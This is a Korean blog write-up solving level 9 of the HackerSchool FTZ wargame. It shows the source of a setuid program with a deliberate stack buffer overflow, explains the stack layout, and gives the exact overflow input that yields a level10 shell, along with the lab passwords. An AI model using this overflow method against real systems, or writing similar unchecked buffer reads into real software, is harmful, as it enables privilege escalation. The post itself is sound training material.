뇌
[FTZ] level 9 → level 10 문제풀이 본문
level9 - id
: level9 , pw
: apple
[level9@ftz level9]$ ls
hint public_html tmp
[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
[level9@ftz level9]$
/usr/bin/bof 는
buf 변수에 최대 40 byte 만큼 표준입력에서 입력 받는다.
그리고 buf2에서 2 byte 가 'go',
즉 buf2[0] : 'g'
, buf2[1] : 'o'
이면
Good Skill! 이라는 출력과 함께 level10 권한의 setuid를 주고 쉘을 띄워준다.
생각을 해보자.
우리는 buf 에 입력을 한다.
그런데 어떻게 buf2에 값을 넣을 수 있을까?
여기서 사용하는 기법이 buffer overflow(bof)
이다.
buf 의 크기는 10 byte 이지만, 40 byte 까지 입력할 수 있다.
여기서 bof
취약점이 발생한다.
buf2 변수는 buf 변수보다 먼저 선언했기 때문에
스택에서 buf2 가 buf 보다 높은 주소에 위치할 것이다.
그래서 buf 의 byte 수, 즉 10 byte 이상의 길이를 넣으면
buf2 위치를 침범해 값을 조작할 수 있다.
그런데 여기서 gcc가 dummy 값을 할당할 수 있다.
gcc 2.96 이후 버전에서는 dummy 값이 추가 된다고한다.
게다가 /usr/bin/bof 은 level9 id에 실행권한(x) 밖에 주지 않았으므로
일일이 쳐봐야한다.
buf가 10byte 이기 때문에 많아야 20byte 정도 입력하면 된다.
buf 와 dummy 자리를 'a' 로 수를 늘려가며 채우고 'go'를 입력해보자.
[level9@ftz level9]$ ls -l /usr/bin/bof
-rws--x--- 1 level10 level9 12111 9월 10 2011 /usr/bin/bof
[level9@ftz level9]$ /usr/bin/bof
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level10@ftz level9]$ id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
[level10@ftz level9]$ my-pass
Level10 Password is "interesting to hack!".
[level10@ftz level9]$
'a' 를 16개 넣고 'go' 를 입력하니 level10의 권한을 가졌다.
buf(10) + dummy(6) + 'go' 라고 할 수 있다.
Level10 Password is "interesting to hack!".
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 11 → level 12 문제풀이 (0) | 2020.02.27 |
---|---|
[FTZ] level 10 → level 11 문제풀이 (0) | 2020.02.25 |
[FTZ] level 8 → level 9 문제풀이 (0) | 2020.02.23 |
[FTZ] level 7 → level 8 문제풀이 (0) | 2020.02.20 |
[FTZ] level 6 → level 7 문제풀이 (0) | 2020.02.18 |